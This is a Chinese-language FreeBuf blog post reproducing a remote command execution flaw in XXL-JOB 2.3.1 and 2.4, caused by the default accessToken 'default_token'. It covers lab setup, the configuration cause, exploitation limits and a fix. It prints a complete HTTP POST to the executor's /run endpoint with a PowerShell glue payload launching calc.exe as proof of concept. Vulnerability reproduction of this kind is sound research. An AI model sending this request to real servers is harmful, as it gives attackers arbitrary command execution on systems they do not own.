freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

xxl-job默认accessToken命令执行漏洞复现
124 2023-11-02 13:12:07 196443

起因:

昨天看见微步发布XXL-JOB默认accessToken身份绕过漏洞,之前hw期间遇到过几次,都没弱口令和未授权,对其有点印象,遂复现一下。

漏洞影响:2.3.1和2.4

FreeBuf之前已经有人分析过了:https://www.freebuf.com/articles/web/253938.html

不知道作者这么就在2.3.1后赋了个默认值 [狗头]

1698901430_65432db62eece7db71298.png!small?1698901430085

环境准备:

1、下载即可:https://github.com/xuxueli/xxl-job/releases/tag/2.4.0

将其导入IDEA中,即可进行分析。环境要求:Maven3+、Jdk1.8+、Mysql5.7+

ps:关于IDEA和maven配置网上文章很多,不过多赘述。

2、mysql数据库创建xxl_job数据库,解压下载的文件将doc/db/下的tables_xxl_job.sql打开运行里面的sql脚本。

3、配置对应的数据库账号密码

1698901487_65432defc60d6fdefd78d.png!small?1698901487692

4、然后运行就可以了,需要用到8080、8081可以自己在application.properties里面的server.port修改

1698901512_65432e083894b7a2120ca.png!small?1698901512329


漏洞分析复现:

通过微步的漏洞通报说是

1698901536_65432e20bd3acaf2b3c17.png!small?1698901536424

然后就看回到项目中看这个applictation.properties文件,*.properties是spring项目中配置文件的后缀,配置信息基本都在这个.peoperties文件中。文件位于src/main/resources/application.properties

1698901574_65432e4696fa6b374113a.png!small?1698901574348

参照官方文档中的:官方文档

1698901661_65432e9dd19a35745c2e0.png!small?1698901661483

默认情况下是非空的,也就是xxl.job.accessToken=default_token,所以就是利用点在这里。翻看之前的版本accessToken都为空,直到2.3.1后才出现默认值。

关于accessToken官方文档也给出了样例:官方样例

跟着样例即可复现成功,需要注意的是这里脚本的选择,由于我是win下运行的所以使用到了powershell。

ps:跟着样例,跟着样例,跟着样例

1698901736_65432ee8efbcd4bbf0410.png!small?1698901736749


POST /run HTTP/1.1Host: 127.0.0.1:9999User-Agent: Mozilla/5.0(Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101Firefox/117.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
XXL-JOB-ACCESS-TOKEN: default_token
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 365

{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "SERIAL_EXECUTION",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_POWERSHELL",
  "glueSource": "calc.exe",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}

漏洞的限制:

该漏洞需要注册执行器,并在本地开启一个端口,通过该端口提供的服务进行任务执行。也就是说需要开启一个端口。假设网站设置了反向代理或防火墙限制了端口,那么该漏洞就无法利用了。

修复:

把accessToken置空就好啦,使用accessToken时设置强accessToken或随机accessToken


# 漏洞 # web安全 # 漏洞分析
本文为 124 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
124 LV.3
这家伙太懒了,还未填写个人描述!
  • 5 文章数
  • 2 关注者
秋招某安全厂商渗透岗凉经与思考
2023-11-17
关于获取webshell后文件上传大小限制这件事!
2023-07-24
回炉重造之SQL 注入
2023-04-18
文章目录